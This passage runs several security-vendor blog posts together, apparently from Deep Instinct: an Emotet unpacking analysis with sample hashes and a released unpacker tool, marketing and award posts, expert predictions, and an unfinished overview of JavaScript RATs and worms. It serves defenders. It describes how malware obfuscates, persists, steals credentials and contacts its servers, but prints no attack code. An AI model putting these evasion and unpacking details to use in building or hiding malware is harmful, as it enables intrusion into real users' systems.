come.Deep Instinct successfully prevents malware like GuLoader, detecting and stopping it before it can enter a customers’ environment. Deep Instinct prevents the malicious payloads regardless of the deployment method exploited. Our deep learning framework allows Deep Instinct to prevent &gt;99% of unknown threats. It is also incredibly precise, ensuring false positives remain &lt;0.1%If you’d like to learn more about our malware, ransomware, and zero-day prevention capabilities – including our industry best $3M no-ransomware guarantee – we’d be delighted to <a href="https://www.deepinstinct.com/request-demo/">give you a demo.</a>IOC’s:Docx: 4797b4b672a93427a126361e058d86c443c4956255624bce2ff2e5d129f88eaaVbs: 6394c4e126b8ef4cf8e66d43a54cfd42fd86b3003292f621f0ca427bc12051d8Pcap taken from: <a href="https://www.malware-traffic-analysis.net/2021/09/03/index.html">malware-traffic</a> Read more:<a href="https://www.difesaesicurezza.com/en/defence-and-security/cybercrime-the-guloader-campaign-back-to-italy-via-a-false-quotation/">https://www.difesaesicurezza.com/en/defence-and-security/cybercrime-the-guloader-campaign-back-to-italy-via-a-false-quotation/</a><a href="https://www.gend.co/blog/netskope-cloud-threats-memo-january-28-2021">https://www.gend.co/blog/netskope-cloud-threats-memo-january-28-2021</a><a href="https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software">https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software</a>

[Down]loaded by GuLoader Malware

Emotet-Blog.jpg

Emotet, the malware botnet, has resurfaced after almost 10 months. The operation was originally taken down by multiple international law enforcement agencies this past January. These agencies took control of the infrastructure and scheduled an un-installation of the malware on April 25. So what does the re-emergence of Emotet mean, and how can cyber professionals prepare for new threats? This blog will analyze the new DLL, break down a new unpacking technique and new features, and review similarities in the new variant with the previous version.We will also explore a novel tool called “DeMotet” that automates the analysis of Emotet samples on a large scale and includes an unpacker for the latest loader and decryption scripts for the payload. It is used to detect any modification in the malware, and it is now publicly available.Static Analysis For this analysis, the following sample will be used: 76816ba1a506eba7151bce38b3e6d673362355063c8fd92444b6bec5ad106c21As shown in our <a href="https://www.deepinstinct.com/blog/emotet-malware-2020">previous blog posts</a>, the execution flow of Emotet consists of multiple stages that are unpacked in succession. As expected, this is still the case with the new variant. The DLL that is written to disk isn’t the actual payload that communicates with the C2 servers. This can be seen by a review of the static information of the resources. <img data-image="iu8vbmlm3mqw" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0460b1883588af4c/61a5818ac854b013a2d05bd8/image.png" data-sys-asset-uid="blt0460b1883588af4c" alt="image.png"/>The entropy of the bitmap resource is high, and it most likely contains encrypted information. To unpack the next stage, the decryption routine needs to be found. This resource will be accessed before decryption starts. A breakpoint can be set on the “FindResourceA” function to reach this point.Extracting the Next Stage The malware reaches the breakpoint and then returns to the address 0x10005701.<img data-image="tn2yfkxhsqcr" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt4ab54a735cc4ae1a/61a581953865bf22bd95fd20/image.png" data-sys-asset-uid="blt4ab54a735cc4ae1a" alt="image.png"/>The parameters for “FindResourceA” match the suspicious resource. This API is called through a register because it isn’t imported. The address is located in runtime to hinder static analysis. The function then allocates memory based on the size of the resource and goes through some decryption loops. The return value is the next stage. The size of the file is specified in the code, which makes the extraction from memory even easier.<img data-image="mg73kgh96405" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd26c0aa37554cd11/61a581a0dd6fcd0cf2950ffd/image.png" data-sys-asset-uid="bltd26c0aa37554cd11" alt="image.png"/>Comparing Variants In the past, there was a middle stage between the loader and the payload. Based on our previous <a href="https://www.deepinstinct.com/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2">analysis</a> of the Emotet payload, the file extracted is the payload itself and not a middle stage.<ol><li>The PE file has no imported API functions.</li><li>There are barely any strings present.</li><li>The malware utilizes the same code obfuscation techniques.</li></ol><img data-image="v2iseju8nh7c" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltba5be87db228b94c/61a581b0eb16c322c4dd34b1/image.png" data-sys-asset-uid="bltba5be87db228b94c" alt="image.png"/>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; On the left: the new payload. On the right: a payload from January 2021 The payload conceals its capabilities by hiding information that is used for static analysis. The names of the API functions are stored in the code after they were hashed. Their address is located in run-time instead of using the Import Address Table. The strings are encrypted inside the file. The code is obfuscated using <a href="https://hex-rays.com/blog/hex-rays-microcode-api-vs-obfuscating-compiler/">Control Flow Flattening</a>, which works as follows: <ol><li>A number is assigned to each basic block.</li><li>The obfuscator introduces a block number variable, indicating which block should execute.</li><li>Each block, instead of transferring control to a successor with a branch instruction, as usual, updates the block number variable to its chosen successor.</li><li>The ordinary control flow is replaced with a switch statement over the block number variable, wrapped inside of a loop.</li></ol>New imported functions from bcrypt.dll were added to the payload. The strings that represent constants for those functions were also added, such as “ECDH_P256” and “Microsoft Primitive Provider.” This is probably due to Emotet changing its communication protocol from HTTP to HTTPS. The name hashing and strings decryption algorithms were kept. This means that “DeMotet” is still able to discover this information.Introducing “DeMotet” Deep Instinct has been closely following Emotet for some time. “DeMotet” was developed to automate the research performed on the malware. The tool is a static unpacker for the latest variant of the Emotet loader. It can extract the encrypted payload from the resource without executing the malware. Python scripts are also included in this tool. They reveal the hidden strings and API calls the payload uses. The first one is a standalone script that can be used to extract this information from a large number of payloads. The second one is an IDA plugin. It adds this information as comments in the code. <img data-image="84x1ixnu1vme" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt61480193fb7ffef7/61a581e3a7343913adb6be5d/image.png" data-sys-asset-uid="blt61480193fb7ffef7" alt="image.png"/>"DeMotet” can be used to track new variants of the malware. New samples of Emotet can be downloaded and unpacked regularly. Once the unpacking process of the malware is modified, the tool will fail.This is an indication of a new variant. The variant will then be manually analyzed to update the tool so the automation can be restored. Finding new strings and imported functions in the payload is also indicative of a new feature.The tool is available in <a href="https://github.com/deepinstinct/DeMotet">this GitHub repository</a>. Summary The notorious botnet Emotet is back, and we can expect that new tricks and evasion techniques will be implemented in the malware as the operation progresses, perhaps even returning to being a significant global threat. However, by using the techniques and tools presented in this article, the analysis of the malware can be simplified and automated.Deep Instinct takes a prevention-first approach to stopping ransomware and other malware using the world’s first and only purpose built, deep learning cybersecurity framework. We predict and prevent known, unknown, and zero-day threats in &lt;20 milliseconds, 750X faster than the fastest ransomware can encrypt.If you’d like to learn more about our malware, ransomware, and <a href="https://www.deepinstinct.com/zero-day-attacks" target="_self">zero-day prevention</a> capabilities – including our industry best $3M no-ransomware guarantee – we’d be delighted to <a href="https://www.deepinstinct.com/request-demo/">give you a demo.</a>IOC Loaders SHA256 3b3b65d42e44bcc0df291ddab72f1351784f7e66357a4ec75ee5c982ef556149 6b477d63b3504c6eab3c35057b99d467039995783f5f14714ae6af4f83b9dcb3 442ff2de8a19c3f6cf793f9209ffd21da18aa7eb5b4c4c280222eb9f10a2c68a 9ac36258c63a5edfd29e3ed1882c61487ef2c70637192108cc84eb4ea27f7502 00ceb55abdb43042c6f7fabd327e6e1a6cdefed723dea6c4e90d159b9466518c

The Re-Emergence of Emotet

What Makes Deep Instinct a Leader in AI-Based Deep Learning 

Fast-500-List-Blog.jpg

Deep Instinct is proud to have achieved several key milestones this year. In April, we announced our <a href="https://www.deepinstinct.com/news/deep-instinct-closes-100-million-series-d-new-funding-to-fuel-hyper-growth">$100M Series D funding round</a> let by BlackRock with an additional <a href="https://www.deepinstinct.com/news/chrysalis-investments-invests-">$67M investment</a>
from Chrysalis Investments. We also expanded our core executive leadership team, first welcoming Jeffery Giannetti as Chief Revenue Officer, and adding Scott Stout as Vice President of Americas Sales and Brian Feeney as Vice President of Global Channels and MSSPs. Now, our #28 ranking in Deloitte’s annual 2021 Technology Fast 500™ list is another notable benchmark highlighting a year of tremendous growth and market validation. 

“We are honored to be recognized in this year’s Deloitte Technology Fast 500 list. I’m very proud of the work we’ve done to make Deep Instinct a leader in AI-based deep learning for cybersecurity at a time when ransomware attacks are at an all-time high,” said Guy Caspi, CEO and co-founder of Deep Instinct. “Deep Instinct is growing rapidly and hiring the talent needed to meet the growing demand for prevention-first security solutions that stop the world’s most challenging cyber threats. We look forward to carrying this exciting momentum into 2022 and beyond.”

Deep Instinct’s #28 ranking as one of the 500 fastest-growing technology, media, telecommunications, life sciences, and energy tech companies in North America marks our first inclusion on the list as we grew revenue 7,199% over the last four years from 2017 to 2020.

This latest recognition adds to a year of big “wins.” Earlier this year, we were recognized as a winner in the 2021 Fortress Cyber Security and 2021 CISO Choice Awards for the category of “endpoint security.” We were also named Best Cybersecurity Startup in the 2021 Cybersecurity Excellence Awards, and recognized in the Global Annual Achievement Awards for Artificial Intelligence from Awards.AI. 

We have a lot to celebrate and are incredibly proud of our team’s efforts to become a driving force for innovation around malicious threat prevention. The interest and support we’ve received from our investors and customers has been amazing, and we are eager to continue innovating with our award-winning platform.

Deloitte Technology Fast 500™ Recognition Caps Strong 2021 for Deep Instinct

Cyber-Predictions-Blog.jpg

Another eventful year in the cybersecurity world has almost come and gone! Of course, 2021 will long be remembered for the top cyber attacks of the year – such as SolarWinds, Kaseya, and Colonial Pipeline – some of which involved prominent ransomware gangs. With cyber threats continuing to escalate and having an impact on major critical infrastructure including hospitals, oil and gas industries, transportation and more, we don’t need to just look at the year ahead - we need to really think hard about cyber threats heading our way in the next 5 or 10 years.We did just that by asking some of the industry’s most influential thought leaders for their predictions for 2025-2030 to really hone in on what needs more focus in the years to come. Here’s what they had to say:<ul><li>Prediction: “Securing Blockchain, Crypto and the Metaverse” By: Marcus J. Carey, Enterprise Architect, ReliaQuest, and Author of “Tribe of Hackers”</li></ul><ul><li>Prediction: “Shifts Towards Cyber Insurance, More Cybercrime Marketplaces, AI Supplements SOC Teams” By: Daniel Miessler, Head of Vulnerability Management and Application Security, Robinhood</li></ul><ul><li>Prediction: “Increase in Killware and Remote Warfare via Drones” By: Deb Radcliff, Strategic Advisor, CyberRisk Alliance & Author of “Breaking Backbones: Information Is Power. Book I of the Hacker Trilogy”</li></ul><ul><li>Prediction: “Cyber Wakeup Calls Ignored & The Need for More Cohesive Security Strategies” By: Ira Winkler, Author of “You CAN Stop Stupid: Stopping Losses from Accidental and Malicious Actions”</li></ul>We also included predictions from Deep Instinct’s co-founders Guy Caspi, CEO and Nadav Maman, CTO, to understand how deep learning can help with cyber threat prevention. Here’s what our experts shared:<img data-image="cv0ptvu4t15c" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6270210118cde8c1/619520ea09389f76634d144f/image.png" data-sys-asset-uid="blt6270210118cde8c1" alt="image.png"/>#1: Increase in Cyber Terrorism and Malicious AIGuy Caspi, CEO and Co-Founder of Deep InstinctI believe we will see more terrorist organizations globally using force through cyber means. Today, terror organizations are still focused predominantly on information warfare, and things like DDoS and defacement. With cyber capabilities continuing to trickle down, I don’t believe it’s far-fetched to think of attacks on critical infrastructure, transportation, healthcare and more carried out by terrorists. This will be a new ball game in terms of the level and breadth of the threat. With AI and traditional ML becoming a commodity, I’m sure we’ll see AI used and adopted widely by attackers of all levels, and not just adversarial AI for evasion. By leveraging AI tools and capabilities, attackers will improve the scale, success and effectiveness of their attacks.<img data-image="6bhfwhc8tq6l" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt894d6b22c53c90e4/619520f609389f76634d1453/image.png" data-sys-asset-uid="blt894d6b22c53c90e4" alt="image.png" width="232" height="140" style="width: 232px; height: 140px;"/>#2: Securing Blockchain, Crypto and the MetaverseMarcus J. Carey, Enterprise Architect, ReliaQuest and Author of “Tribe of Hackers”In the next 5-10 years, I see most companies doing crypto payments and people will need to understand these better, as scammers will be coming after corporate crypto wallets. Cybersecurity pros need to pivot into Web3 to operate in the blockchain. Big brands will continue to use NFTs, and companies like Disney and Marvel will have a NFT with IP that people will want to buy.Along the same lines, attackers are already operating in Web3 with ransomware attacks that leverage bitcoin and cryptocurrency. In fact, attackers have been super savvy in crypto for a while now, so we need to threat hunt and identify bad actors in the cryptocurrency space, through the blockchain. If companies are receiving crypto money, attackers will try to access these wallets. We may have cash in the bank currently, but in the near future, these digital wallets - also known as hot wallets - will be a major target for attackers who aim to steal the currency out of them since they live on computers. The reason why cold wallets are important is because attackers will look for hot wallets on the network and some people might want to store cold wallets in a safety deposit box.In the realm of quantum cryptography or quantum computing, I see a major algorithm getting broken. I could also see a major event such as a major vulnerability in the blockchain. Right now, the crypto is strong enough to make the blockchain secure, but we will see people breaking this in the next 5 years. We should expect this to happen, as well as the recovery.I really think innovation is dead in cyber. In the future, we’ll see the whole space collapsing into Managed Detection and Response (MDR) where everyone outsources incident response and management. The MDR play is here to stay, and many cyber companies will offer software and MDR co-management. Unfortunately, enterprises have bought a lot of cyber products that they just can’t manage and they need help. That’s why we will see MDR and Extended Detection and response (XDR) take over.Lastly, cybersecurity folks have been slow to adapt and pay attention to Web3 technology. I would encourage cyber pros to get involved in metaverse, Web3 and crypto. Your Facebook will become a virtual reality with your Facebook friends. Believe it or not, people are already building real estate and selling it in Web3, so security pros need to pay attention and adapt to this new world. Most businesses are going to enter Web3 as well. For instance, Nike put a patent/trademark to operate with digital shoes. And guess what, car brands will do the same - concept cars will be designed and driven in a metaverse. With all this innovation on the horizon, we need to be prepared!<img data-image="fbe84qm7ak93" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt0b42993c55b0a892/619521043b57dd0e2c8fd611/image.png" data-sys-asset-uid="blt0b42993c55b0a892" alt="image.png"/>#3: Machine Learning Adaptation, MFA Bypassing & EDR ShortcomingsNadav Maman, CTO and Co-Founder, Deep InstinctIn the coming years, there will be wide usage of machine learning adaptation across the attack landscape, specifically for advanced phishing attacks that will target organizations’ users across multiple different applications, not necessarily using e-mail. Attackers will put a significant effort on building organizational employee mapping, based on crawlers on social networks, blogs and forums, and collective points of interest, and build more robust and targeted successful campaigns, which will target the users in multiple area, by a simple usage of ML and much impressive results.We’ll also see next generation authentication bypassing mechanisms. With multi-factor authentication (MFA) widely being adopted today and the fact that Google is going to define it as mandatory in their Gmail accounts, hackers will have to get their access on the users’ mobile devices to get access to strategic assets. There is going to be much more value in attacking mobile devices to carry out these targeted attacks.The sophistication level of attackers is going to put organizations in a position in which humans won’t be able to hunt threats anymore and the complexity of this will require AI-based cyber analytics that look at the entire organization over multiple signals (device, user, network etc.) across the board, which is not being provided by any vendor today. The level of required algorithms dealing with such a massive amount of data with multiple data sources will continue to be in our top focus.I do believe that at some point, mid-size organizations, as well as enterprise organizations will realize that EDR is not a good solution against ransomware attacks. The impact on the Total Cost of Ownership (TCO), the operational damage and especially the impact on brand awareness, will cause organizations to put more focus on prevention and deal with these threats more proactively. It cannot be that a specific threat like ransomware will be in discussion for another additional 5-10 years.<img data-image="6yutxf71y6q1" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2f697775a59c5f7a/6195211037c855238d66c6de/image.png" data-sys-asset-uid="blt2f697775a59c5f7a" alt="image.png" width="232" height="140" style="width: 232px; height: 140px;"/>#4: Shifts Towards Cyber Insurance, More Cybercrime Marketplaces, AI Supplements SOC TeamsDaniel Miessler, Head of Vulnerability Management and Application Security, RobinhoodIn the future, I see the cybersecurity landscape moving more towards its inevitable destination, which is something like insurance and accounting. I know, it’s not sexy. Security has always been about magic and wizards, and that's exciting, but not stable or predictable. Businesses need stability from security so they can have all their risk be business risk. So, we can expect more cyber insurance, more continuous testing of security state, and more continuous validation of the ability to recover from catastrophic events.Adversaries will continue to get better, and most of that gain in ability will come from coordination. The recent impact from ransomware didn't come from better hacks or better attacks; it came from unifying threat actors with tooling, with methods of finding victims, with methods of receiving payment, etc. -- with all of that turned into marketplaces. We should expect more of the same.There will be surprises, but it's hard to say what they'll be, with it being the future and all. I think we can expect increasingly large impacts to availability for major pieces of infrastructure, not necessarily due to an active attack, but perhaps due to the sheer size of our systems. An attack or outage at AWS, for example, would be internet-shaking, and people don't expect this to happen simply because they've never seen it.I don't see AI replacing SOC analysts anytime soon. It's true that AI will start taking on more of a SOC analyst's work, and it'll be able to do more and more of what a human can do---eventually moving from a Tier 1 to a Tier 2 analyst in functionality. And it'll be able to do it at scale, which is what really matters. But such implementations will still have many faults that require human oversight. So, for the foreseeable future, you won't see humans being laid off, or fewer humans being hired, in the SOC analyst space. Instead, you'll see AI as a supplement to what people already have.<img data-image="dwjjebwa989b" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7e4dac93968a4f13/6195211f9d54dc24c5883393/image.png" data-sys-asset-uid="blt7e4dac93968a4f13" alt="image.png"/>#5: Increase in Killware and Remote Warfare via DronesDeb Radcliff, Strategic Advisor, CyberRisk Alliance & Author of “Breaking Backbones: Information Is Power. Book I of the Hacker Trilogy”In the next 5-10 years, I think we will see an i<a href="https://apple.news/AjvHBz46wRJa_NRwJdSg3Qg">ncrease in remote warfare via drones,</a> which will open up new drone signals and control hacks. Even the military are starting to leverage these techniques already. If these become weapons of mass destruction this will be the next place bad guys will use to monetize and hold businesses hostage. I include a lot of this in my cyber thriller, “Breaking Backbones: Information is Power.” I also see the advancement and a new era of more killware against smart, self-driving cars (also in my book), medical devices, and other smart devices that can be used to kill and harm people physically. Sadly, ransomware operators don’t care if they are killing people.I would love to see ransomware come to an end. Criminals are shooting themselves in their own feet by exfiltrating data and going back on their agreements after ransoms are paid and rehacking the same targets again and again (triple extortion). I recently did a survey on my LinkedIn and 80% of respondents said that if they knew the data was still going to be used against them after paying, then they wouldn't have paid - not to mention, you may have to pay for multiple crypto keys which are now out there and resold. Between that and new laws coming out against paying ransoms, people will stop paying ransoms and the revenues will dry up for the bad guys. Another extraordinary thing we will see is the coalescence of all the misinformation campaigns used against average people because it’s working to influence populations to behave badly and shift power to the autocrats. China’s global espionage campaign in swing now, gathering all the data it can on every human on the planet, may lead to China trying to control the entire Internet ultimately. Digital transformation, a term marketers love, is actually just an overhyped buzzword for moving to the cloud and has been expedited in timing because of the pandemic and remote work. More apps are getting hacked in the cloud with leaky buckets, etc., as Developers make their own cloud networks to build to. The cloud will be where attackers turn most of their attention to in the future. Supply chains will be impacted more regularly as a result. Lastly, I would like to clarify that most hackers are good guys and bad guys are bad guys. Hackers do not deserve the reputation of being bad guys.<img data-image="2t4r0co0yw67" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltad6f3225fd7d208a/6195212c12a3a82185f95064/image.png" data-sys-asset-uid="bltad6f3225fd7d208a" alt="image.png" width="228" height="167" style="width: 228px; height: 167px;"/>#6: Cyber Wakeup Calls Ignored & The Need for More Cohesive Security StrategiesIra Winkler, Author of “You CAN Stop Stupid: Stopping Losses from Accidental and Malicious Actions” and CISO of Skyline Technology SolutionsWhen we look at the Colonial Pipeline attack earlier this year, we need to ask ourselves: why is this attack any different than Code Red, Nimda or even the Morris worm? Why didn’t anyone stay awake after those so-called wakeup calls? We keep hitting the snooze button on all ransomware attacks which have all been called, "wakeup calls". Colonial Pipeline was a pimple on our ass compared to the damage WannaCry did and nobody seems to remember it. Gas shortages were nothing compared to hospitals shutting down in the UK with WannaCry, among other impacts throughout the world. The cyber industry has such a horrible memory in acting like Colonial Pipeline was worse than WannaCry -- which was not the case. Ransomware is the same as the Morris worm at the end of the day. There is no revolutionary new attack so to speak - it’s just an evolution – simply just a progression of using available technologies to refine malware.The problem is that for the last two decades, we have seen complete stagnation in how we fix, "The user problem". We have this ridiculous saying about humans becoming, "The Human Firewall". You should be fired as a leader if humans are your last line of defense. Many people tried to portray the SolarWinds hack as a user issue, since the attack happened because an "intern" set a bad password. Your entire security posture should not crumble because of a single bad password. We need a stronger security strategy in place to prevent these attacks from happening in the first place.The "Stupid" in the title of my book, “You CAN Stop Stupid: Stopping Losses from Accidental and Malicious Actions,” refers to stupid security professionals who don’t realize a user will take an action that could result in loss, without anticipating and mitigating the potential loss. We need to move away from the idea that a user will somehow prevent attacks. I would like to see a movement away from vendor-induced pontifications and a movement towards creating secure environments (potentially zero trust) which are cohesive and not just a buzzword. In cybersecurity, we have this snowflake attitude that we are the only profession that has to deal with user error. If you look at other disciplines like safety science, if a user injures themselves or otherwise causes loss, that is a failure of the entire system. I guess it’s more of a hope than a prediction to stop addressing problems with tactics and instead address them with better, more cohesive security strategies.Regarding the potential for a cyber doomsday or similar, here is the reality of the situation as I see it: there will likely be massive cyber attacks in one way or another in the future - much like all of Facebook going down. Can someone get into a power grid and do bad things? Yes. However, people need to realize there is resiliency. I do not think in the next 5-10 years, we will be put back into the stone age or see a “digital Armageddon.”Preparing for the FutureWhile we know predicting the future can be futile, being prepared isn’t. There are many attainable steps organizations can take to not end up front-page news. As we head into 2022, there are many challenges we face, but one thing is for sure: the importance of cybersecurity continues to grow not just year over year, but well into the future. And with each technology revolution - AI/ML, crypto, metaverse, Web3, and more, we need to innovate just as fast with cyber threat prevention technologies as well. We would love to hear your predictions to see how they stack up against these industry influencers and experts!Reach out to us on <a href="https://www.linkedin.com/company/deep-instinct/">LinkedIn</a> and <a href="https://twitter.com/DeepInstinctSec">Twitter</a> to share what you are seeing in your 2025-2030 crystal ball.

Top Cyber Influencers Offer Future Cyber Predictions for 2025 & Beyond

The Tanium and Deep Instinct partnership provides organizations with an innovative malware and ransomware-prevention solution to vastly improve security postures through proactive end-to-end security.

The Tanium and Deep Instinct Partnership Blog

Tanium-Blog.jpg

Business is booming for cybercriminals. Cyberattacks have increased by more than 800% around the globe, according to Deep Instinct’s <a href="https://info.deepinstinct.com/en/tof/cyber-threat-report-2021">Mid-Year Cyber Threat Landscape Report</a>. The Ponemon Institute puts the average cost of a data breach at $4.24 million per incident in 2021, the highest in 17 years. While technology advances and security budgets inflate, it’s hard to look objectively at the state of global cybersecurity and believe that organizations are prevailing against bad actors.So why are attacks breaching defenses at such an alarming rate? And what can organizations do to provide more robust protection against new and more complex threats – from unknown malware to <a href="https://www.deepinstinct.com/zero-day-attacks">zero-day exploits</a>?It’s a multifaceted problem, unfortunately. As IT environments grow increasingly complex, managing them has become more challenging. The sheer volume and variety of threats makes it difficult for security teams to keep up, and when organizations are compromised, the challenge becomes a race to detect and respond before they are breached. The endpoint remains the largest attack surface, yet only 1% of organizations have complete visibility into what is connecting to their network. Too many threats combined with an incomplete view into every endpoint has left a massive hole in many cyber defenses.To improve investigation and response to the most sophisticated cyberattacks, organizations need to prevent more attacks from executing and gaining access to the network – and this requires full visibility across endpoints.<h5>Tanium + Deep Instinct</h5>The <a href="https://www.deepinstinct.com/news/tanium-partners-with-deep-instinct-to-unify-endpoint-security-for-end-to-end-visibility">Tanium and Deep Instinct partnership</a> provides organizations with an innovative malware and <a href="https://www.deepinstinct.com/ransomware-protection-solution" target="_self">ransomware-prevention solution</a> to vastly improve security postures through proactive end-to-end security.Deep Instinct provides the world’s most advanced prevention of both known and unknown malware, ensuring threats are stopped before they can execute and infect the network. The Tanium platform brings intelligence to all endpoints wherever they exist, providing instant visibility, unparalleled context, and the ability to quickly take action to better manage and secure your environment. With this new, combined offering, Tanium customers be able to see, patch, and maintain pristine cyber hygiene for 100% of your endpoints, and will add an additional layer of protection for supported devices powered by Deep Instinct to prevent attacks before they impact the endpoint.The new partnership will create unprecedented value. As Thai Lee, CEO of SHI International, explains:“Tanium and Deep Instinct together have the power to change the way organizations protect themselves and their customers, to lower risk and build a zero-trust environment. This innovative combined solution promises to significantly expand the capacity of any SOC team to work smarter and more efficiently to prevent more attacks and gain the time back for intelligent threat hunting to stop the next big attack.”The combination of Tanium and Deep Instinct delivers a transformational approach to endpoint security resulting in unmatched value to our joint customers. Real-time visibility and hygiene with pre-execution prevention decreases the load on the endpoint, improves SOC efficiency, lowers overall organizational risk, and reduces the overall attack surface. Deep Instinct and Tanium customers will enjoy the comfort of knowing that they have a much higher level of protection against the growing prevalence of unknown attacks.<a href="https://www.deepinstinct.com/request-a-demo">Request a demo</a> to learn more.

Tanium + Deep Instinct Create a Force Multiplier for Improved Endpoint Security

Understanding the JavaScript Threat Landscape

JavaScript-Blog2.jpg

Script-based attacks have become a significant threat in recent years, with some estimates putting these attacks at 40 percent or more of all global cyberattacks. A script can be anything from a sequence of simple commands used for system configuration, task automation, and other general purposes, to much more advanced, multi-layered, and often obfuscated code. Among the most commonly used scripting languages are PowerShell, VBScript, and JavaScript.While PowerShell attacks are most commonly used, Windows JavaScript is also used by malicious threat actors for many of the same purposes. Outside of a browser — which executes JavaScript in an encapsulated fashion, greatly limiting that code’s interaction with the operating system — Windows provides facilities for JavaScript execution with Windows Script Host (WSH), which executes JavaScript (and other Windows-supported scripting languages) under the wscript.exe and cscript.exe Windows processes, providing an attack surface for adversaries to exploit.JavaScript malware can range from a simple dropper intended to deliver additional malware to being fully-featured, multi-purpose pieces of malware in their own right.In this blog we will provide an overview of five prominent malware strains in the JavaScript landscape, with an emphasis on several “pure” JavaScript malware which often challenge static detection signatures through heavy code obfuscation and not employing compiled binaries. Please note that this will not be an in-depth analysis of the different malware, but a higher-level review of each malware.<h5>VJw0rm</h5>“Vengeance Justice Worm” was first discovered in 2016 and is a <a href="https://cofense.com/vjw0rm-malware-heres-watch/">highly multifunctional</a>, modular, publicly available “commodity malware”, i.e., it can be purchased by those interested through various cybercrime and hacking related forums and channels.VJwOrm is a JavaScript-based malware and combines characteristics of Worm, Information Stealer, Remote-Access Trojan (RAT), Denial-of-Service (DOS) malware, and spam-bot.VJw0rm is propagated primarily by malicious email attachments and by infecting removeable storage devices.Once executed by the victim, the very heavily obfuscated VJw0rm will enumerate installed drives and, if a removeable drive is found, VJwOrm will infect it if configured to do so.It will continue to gather victim information such as operating system details, user’s details, installed anti-virus product details, stored browser cookies, the presence of vbc.exe on the system (Microsoft’s .NET Visual Basic Compiler, this indicates that .NET is installed on the system and can affect the actor’s choice of additional malware delivery), and whether the system has been previously infected.VJw0rm will then report this information back to its command-and-control server and await further commands, such as downloading and executing additional malware or employing any of its other numerous capabilities.Finally, VJw0rm establishes persistency in the form of registry auto-runs, system startup folders, a scheduled-task, or any combination of these methods.<img data-image="rt58o2im2cb2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt75fb256c8f90f18d/61820523ffff367907221b06/image.png" data-sys-asset-uid="blt75fb256c8f90f18d" alt="image.png"/>Figure 1: Obfuscated VJw0rm snippet<img data-image="noljfjd0y1s2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3fbf1650ba6e3557/61820531898f1d7860f27ecd/image.png" data-sys-asset-uid="blt3fbf1650ba6e3557" alt="image.png"/>Figure 2: VJw0rm check if previously infected<img data-image="oqxfibkcxo6e" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt72586db124418c17/6182053b898f1d7860f27ed1/image.png" data-sys-asset-uid="blt72586db124418c17" alt="image.png"/>Figure 3: VJw0rm Command-and-Control contact<img data-image="87ws3ool10pz" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltefca47f9a397aa37/61820545ffff367907221b0a/image.png" data-sys-asset-uid="bltefca47f9a397aa37" alt="image.png"/>Figure 4: VJw0rm establishes persistency<h5>WSHRat</h5>WSHRat, also known as Houdini, H-worm, Dunihi, and several other aliases, is another “commodity malware” and can trace its roots to 2013 when it was originally developed in VBS. The WSHRat variant, itself, emerged in 2019 as a JavaScript-based version of the previously known Houdini/H-Worm, which was written in VBS.As with all Remote-Access Trojans (RATs), WSHRat’s primary purpose is to maintain access to the machine, executing remote commands, and downloading additional malware.WSHRat is propagated primarily by malicious email attachments and is also capable of infecting removable storage drives.Once executed by the victim, the very heavily obfuscated WSHRat will follow a course similar to that of the above described VJw0rm – gather operating system and user’s details, installed anti-virus product details, report this back it’s command-and-control, perform removeable storage drive infection if configured to do so and await further commands.“Houdini” VBS based variants of the malware are known to have been involved in a recently reported, very protracted, <a href="https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html">espionage campaign that targeted the aviation industry</a>.NJrat/Bladabindi and Remcos RAT are two common follow-up payloads of Houdini/WSHRat.<img data-image="qyxp9t00i0ob" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5408dfc1438ee462/61820554a1ce11650a8d2979/image.png" data-sys-asset-uid="blt5408dfc1438ee462" alt="image.png"/>Figure 5: Obfuscated WSHRat snippet<img data-image="tn79t91xp2ly" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7eca66090e2ad7fe/6182055db23afd586010621c/image.png" data-sys-asset-uid="blt7eca66090e2ad7fe" alt="image.png"/>Figure 6:WSHRat Command-and-Control contact<img data-image="txjzyz65rck7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3868ae4db163d063/61820564953e1e6504007c20/image.png" data-sys-asset-uid="blt3868ae4db163d063" alt="image.png"/>Figure 7: WSHRat establishes persistency<h5>STRRAT</h5>STRRAT is a Java-based RAT with a JavaScript wrapper/dropper that was <a href="https://www.gdatasoftware.com/blog/strrat-crimson">discovered in 2020</a>. Its core payload (a .JAR file) is contained under several layers of obfuscation and encoding inside the JavaScript wrapper/dropper.STRRAT is propagated by malicious email attachments. Its capabilities include standard RAT functionalities (remote access, remote command execution), browser and email-client credential harvesting, and a unique ransomware-like functionality – if instructed, it will add a “.crimson” extension to files on the device, rendering them inoperable (though they can be easily recovered because their content is not modified).Unlike many Java-based malware, 